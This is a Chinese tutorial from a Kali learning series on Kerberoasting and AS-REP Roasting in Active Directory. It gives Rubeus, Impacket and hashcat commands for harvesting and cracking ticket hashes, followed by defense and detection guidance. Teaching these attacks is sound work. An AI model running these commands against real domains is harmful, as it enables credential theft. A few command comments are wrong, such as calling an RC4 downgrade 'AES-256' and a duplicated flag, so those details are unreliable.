网络安全Kali学习系列 · 第51篇

Kerberos 攻击:Kerberoasting 与 AS-REP

协议弱点利用 · 离线密码破解的经典手法
📋 本篇导读
  • Kerberos 协议工作流程回顾(AS-REQ/TGS-REQ/AP-REQ)
  • Kerberoasting 攻击原理与 Rubeus / Impacket 实操
  • AS-REP Roasting 攻击原理与利用条件
  • Hashcat 离线破解 Kerberos 票据
  • 防御措施与检测方法

一、Kerberos 协议回顾

Kerberos 是 Active Directory 的核心认证协议。理解其工作流程是掌握 Kerberoasting 和 AS-REP Roasting 的前提。

1.1 认证流程三阶段

阶段 名称 说明 关键产物
阶段一 AS-REQ / AS-REP 客户端向 KDC 的 AS 服务证明身份,获取 TGT 票据 TGT(票据授予票据)
阶段二 TGS-REQ / TGS-REP 客户端用 TGT 向 KDC 的 TGS 服务申请访问特定服务的票据 ST(服务票据 / TGS)
阶段三 AP-REQ / AP-REP 客户端用 ST 向目标服务认证,建立会话 应用层会话密钥

1.2 关键概念

KDC(密钥分发中心):运行在域控制器上,由 AS(认证服务)和 TGS(票据授予服务)组成。
TGT(票据授予票据):AS 颁发给客户端的凭证,用 krbtgt 账户的哈希加密。客户端无法解密 TGT,但可用它向 TGS 请求服务票据。
ST / TGS(服务票据):TGS 颁发的凭证,用目标服务账户的哈希加密。这是 Kerberoasting 攻击的核心。
SPN(服务主体名称):唯一标识一个服务实例。只有注册了 SPN 的账户才能被请求 TGS 票据。
预身份验证(Pre-Authentication):AS-REQ 阶段的安全机制,要求客户端用自身密码加密的时间戳证明身份。关闭后即可被 AS-REP Roasting。

1.3 攻击面总结

攻击手法 利用阶段 利用条件 破解目标
Kerberoasting TGS-REQ / TGS-REP 任何域用户 + 目标有 SPN 服务账户密码
AS-REP Roasting AS-REQ / AS-REP 目标用户关闭了预身份验证 用户密码

二、Kerberoasting 攻击

Kerberoasting 是利用 Kerberos 协议设计缺陷,离线破解服务账户密码的经典攻击手法。任何普通域用户都可以请求域内任意 SPN 账户的 TGS 票据,该票据用服务账户密码的哈希加密,可以离线破解。

2.1 攻击原理

Step 1:攻击者作为普通域用户,向 TGS 请求某个 SPN 账户的服务票据(TGS-REQ)
Step 2:KDC 不验证请求是否合法,直接返回用服务账户哈希加密的 TGS 票据(TGS-REP)
Step 3:攻击者拿到 TGS 票据后,不需要与 DC 交互,直接离线用 Hashcat 暴力破解
Step 4:如果服务账户密码较弱,Hashcat 可以在合理时间内破解出明文密码
核心矛盾:Kerberos 设计上允许任何域用户请求服务票据(这是正常功能),但票据用服务账户密码哈希加密,导致离线破解成为可能。

2.2 发现 SPN 账户

Kerberoasting 的前提是找到设置了 SPN 的用户账户。通常 SQL Server 服务账户、Exchange 账户等会被注册 SPN。

PowerShell · 使用 PowerView 发现 SPN 用户
1
2
3
4
5
6
7
8
9
# 使用 PowerView 查找所有有 SPN 的用户
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname
# 使用原生 PowerShell(无需 PowerView)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# 使用 setspn 命令(系统自带)
setspn -Q */*
setspn -T corp.local -Q */*

2.3 Rubeus 请求 TGS 票据

Rubeus 是 C# 编写的 Kerberos 交互工具,可在 Windows 上直接操作 Kerberos 票据。

CMD · Rubeus Kerberoasting
1
2
3
4
5
6
7
8
9
10
11
:: 1. 请求所有 SPN 账户的 TGS 票据(自动遍历)
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt
:: 2. 指定目标用户请求
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
:: 3. 指定 SPN 请求
Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433
:: 4. 使用 AES-256 类型(更易破解)
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
💡 /rc4opsec 参数
/rc4opsec 会先请求 AES 票据,再降级请求 RC4 票据,降低被检测概率。部分 DC 配置会拒绝纯 RC4 请求,此参数可以绕过限制。

2.4 Impacket GetUserSPNs(Linux 端)

在 Kali Linux 上可使用 Impacket 套件的 GetUserSPNs.py 远程完成 Kerberoasting。

Bash · Impacket GetUserSPNs.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 查找域内所有 SPN 用户
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10
# 2. 请求所有 TGS 票据并导出 Hashcat 格式
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request
# 3. 输出到文件(直接用于 Hashcat)
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request -outputfile hashes.txt
# 4. 使用 Kerberos 认证(已有 TGT)
GetUserSPNs.py corp.local/john -k -no-pass -dc-ip 10.0.0.10 -request
# 5. 指定加密类型(RC4-HMAC 最易破解)
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request -dc-ip 10.0.0.10

2.5 Hashcat 破解 Kerberos 票据

拿到 TGS 票据的哈希后,使用 Hashcat 进行离线破解。Kerberos 票据哈希在 Hashcat 中有特定的模式编号。

Hashcat 模式 编号 说明 破解速度
Kerberos 5 (etype 23 / RC4) 13100 最常见,RC4-HMAC 加密 最快
Kerberos 5 (etype 18 / AES256) 19900 AES-256 加密,更难破解 较慢
Kerberos 5 (etype 17 / AES128) 19600 AES-128 加密 较慢
Bash · Hashcat 破解 Kerberoasting 哈希
1
2
3
4
5
6
7
8
9
10
11
# 1. 字典攻击(RC4-HMAC 模式 13100)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# 2. 添加规则(增加破解概率)
hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 3. 暴力掩码攻击(6-8 位数字密码)
hashcat -m 13100 hashes.txt -a 3 ?d?d?d?d?d?d?d?d --increment
# 4. GPU 加速(如有 GPU)
hashcat -m 13100 hashes.txt rockyou.txt -D 2 --force
💡 破解技巧
RC4-HMAC (13100) 破解速度远快于 AES 加密类型。如果 DC 支持 RC4,优先使用 Rubeus /rc4opsec 参数或 Impacket 请求 RC4 票据。AES-256 模式的破解可能需要数天甚至数周。

三、AS-REP Roasting 攻击

AS-REP Roasting 利用的是 Kerberos 认证第一阶段(AS-REQ/AS-REP)的弱点。如果某个用户账户关闭了预身份验证,攻击者无需知道用户密码即可获取 AS-REP 响应,其中包含可离线破解的加密数据。

3.1 攻击原理

正常流程:AS-REQ 阶段,客户端发送用自身密码加密的时间戳(预身份验证),AS 验证通过后才返回 AS-REP(含 TGT)。
漏洞场景:如果用户账户关闭了 "需要 Kerberos 预身份验证"(DONT_REQ_PREAUTH),AS 会跳过验证步骤,直接返回 AS-REP。
攻击利用:AS-REP 中包含用用户密码哈希加密的会话密钥。攻击者拿到 AS-REP 后,可以离线破解用户密码。
关键区别:Kerberoasting 破解的是服务账户密码;AS-REP Roasting 破解的是关闭了预身份验证的普通用户密码。

3.2 发现关闭预身份验证的用户

PowerShell · 查找关闭预身份验证的用户
1
2
3
4
5
6
7
8
9
10
11
# 使用 PowerView
Get-DomainUser -PreauthNotRequired -Properties samaccountname
# 使用 AD Module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# 使用 Empire / PowerTools
Find-ASREP /Get-ASREPHash
# BloodHound 查询(内置)
# Find AS-REP Roastable Users

3.3 Rubeus AS-REP Roasting

CMD · Rubeus AS-REP Roasting
1
2
3
4
5
6
7
8
:: 1. 枚举并获取所有 AS-REP 哈希
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
:: 2. 指定用户
Rubeus.exe asreproast /user:disabled_user /format:hashcat /outfile:asrep.txt
:: 3. 指定域(跨域)
Rubeus.exe asreproast /domain:corp.local /format:hashcat /outfile:asrep.txt

3.4 Impacket GetNPUsers(Linux 端)

Bash · Impacket GetNPUsers.py
1
2
3
4
5
6
7
8
9
10
11
# 1. 无需密码,直接枚举(使用已知用户名)
GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.0.0.10
# 2. 使用普通域用户凭证枚举
GetNPUsers.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request
# 3. 输出到文件
GetNPUsers.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request -format hashcat -outputfile asrep.txt
# 4. 不需要任何凭证(仅需用户名列表)
GetNPUsers.py corp.local/ -no-pass -dc-ip 10.0.0.10 -usersfile users.txt -format hashcat
⚠️ 无凭证利用
AS-REP Roasting 的一个可怕之处:如果已知用户名且该用户关闭了预身份验证,攻击者无需任何密码即可获取可破解的哈希。用户名可通过 LDAP 枚举、社交工程、邮件头信息等方式获取。

3.5 Hashcat 破解 AS-REP 哈希

Bash · Hashcat 破解 AS-REP
1
2
3
4
5
6
7
8
# AS-REP 哈希使用 Hashcat 模式 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 添加规则
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule
# 暴力掩码(常见弱密码模式)
hashcat -m 18200 asrep.txt -a 3 ?l?l?l?l?l?d?d?d --increment

四、两种攻击对比

维度 Kerberoasting AS-REP Roasting
利用阶段 TGS-REQ / TGS-REP AS-REQ / AS-REP
前提条件 任何域用户 + 目标账户有 SPN 目标用户关闭了预身份验证
需要凭证 是(任意域用户) 否(仅需用户名)
破解目标 服务账户密码(常有弱密码) 用户密码
Hashcat 模式 13100 (RC4) / 19900 (AES256) 18200
常见程度 非常高(几乎所有域都有 SPN 账户) 中等(需要配置错误)
隐蔽性 中(产生 TGS-REQ 流量) 高(仅一次 AS-REQ)

五、实战流程示例

以下演示一个完整的 Kerberoasting 攻击流程,从信息收集到密码破解。

Bash · 完整 Kerberoasting 流程(Linux 端)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# === Kerberoasting 完整流程 ===
# Step 1: 发现 SPN 用户
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10
# 输出示例:
# ServicePrincipalName: MSSQLSvc/sql01.corp.local:1433
# Name: svc_sql
# Step 2: 请求 TGS 票据并导出哈希
GetUserSPNs.py corp.local/john:'Passw0rd!' -dc-ip 10.0.0.10 -request -outputfile kerb_hashes.txt
# Step 3: 查看 Hashcat 格式哈希
cat kerb_hashes.txt
# $krb5tgs$23$*svc_sql$corp.local$MSSQLSvc/sql01...
# Step 4: Hashcat 破解
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

六、防御与检测

6.1 防御措施

防御措施 针对攻击 说明
服务账户使用强密码 Kerberoasting 25 位以上随机密码,确保无法破解
gMSA 托管服务账户 Kerberoasting AD 自动管理 120 位随机密码
禁用 RC4 加密 Kerberoasting 强制使用 AES-256,大幅增加破解难度
确保所有用户开启预身份验证 AS-REP Roasting 定期审计 DONT_REQ_PREAUTH 标志
减少 SPN 用户数量 Kerberoasting 使用 gMSA 替代手动 SPN 账户

6.2 检测方法

检测点 事件 ID 说明
TGS 请求异常 4769 短时间内大量 TGS 请求 = Kerberoasting
AS-REQ 异常 4768 无预身份验证的 AS-REQ = AS-REP Roasting
RC4 加密类型 4769 票据加密类型 0x17 (RC4) 应告警
Kerberoasting 告警规则 4769 同一用户短时间内请求多个不同 SPN
PowerShell · 检查是否有关闭预身份验证的用户
1
2
3
4
5
6
7
# 蓝队审计:查找关闭预身份验证的用户
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
-Properties DoesNotRequirePreAuth, samaccountname |
Select-Object samaccountname, DoesNotRequirePreAuth
# 修复:为用户开启预身份验证
Set-ADAccount -Identity vulnerable_user -PreauthRequired $true

七、小结

🔑 本篇要点
  • Kerberoasting 利用 TGS-REP 阶段:任何域用户可请求 SPN 账户票据,离线破解服务账户密码
  • AS-REP Roasting 利用 AS-REP 阶段:关闭预身份验证的用户可直接获取可破解哈希,无需任何凭证
  • 工具链:Rubeus(Windows)/ Impacket(Linux)采集 + Hashcat 破解
  • Hashcat 模式:Kerberoasting 13100(RC4) / 19900(AES256);AS-REP 18200
  • 防御核心:服务账户使用 25+ 位强密码或 gMSA;确保所有用户开启预身份验证
  • 检测重点:4769 事件(TGS 请求)异常频率 + RC4 加密类型告警
下一篇预告
第 52 篇:凭证窃取与横向移动
LSASS 提密、PTH、黄金票据、白银票据
网络安全Kali学习系列 · 第51篇 · Kerberos攻击:Kerberoasting与AS-REP